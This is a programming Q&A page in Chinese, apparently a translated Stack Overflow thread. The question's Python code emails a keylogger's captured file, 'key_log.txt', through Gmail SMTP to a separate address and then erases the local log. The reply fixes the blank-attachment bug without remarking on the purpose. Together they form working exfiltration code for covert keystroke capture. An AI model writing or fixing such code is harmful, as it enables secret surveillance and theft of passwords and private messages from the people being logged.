首页 > 解决方案 > 接收电子邮件附件作为空白文件

问题描述

这是我写的代码...

尽管其中包含数据,但这会向我发送一个空白.txt文件作为附件...

 email_user = 'user@gmail.com'
 email_password = '********'
 email_send = 'send@gmail.com'

 subject = 'This is keyloggings '

 msg = MIMEMultipart()
 msg['From'] = email_user
 msg['To'] = email_send
 msg['Subject'] = subject

 body = 'This is keyloggings'
 msg.attach(MIMEText(body,'plain'))

 filename = 'key_log.txt'
 attachment  = open(filename,'rb')

 part = MIMEBase('application','octet-stream')
 part.set_payload((attachment).read())
 encoders.encode_base64(part)
 part.add_header('Content-Disposition',"attachment;filename= %s" %filename)

 msg.attach(part)

 server = smtplib.SMTP('smtp.gmail.com',587)
 server.ehlo()
 server.starttls()
 server.ehlo()
 server.login(email_user,email_password)
 text = msg.as_string()
 server.sendmail(email_user,email_send,text)
 server.quit()

 #the below code overwrites the file after sending email
 open('C:/Users/sutha/OneDrive/Desktop/keylogger.txt','w').close()

标签: pythonpython-2.7

解决方案


close拥有该文件后,您需要该文件read

part.set_payload((attachment).read())添加后,

# Close opened file
attachment.close()

当您使用它时,更改part.set_payload((attachment).read())part.set_payload(attachment.read())您不需要将变量括在圆括号中。

另外,更好的方法是使用withwhich close 文件本身,

with open(filename,'rb') as attachment:
    part.set_payload(attachment.read()) 

推荐阅读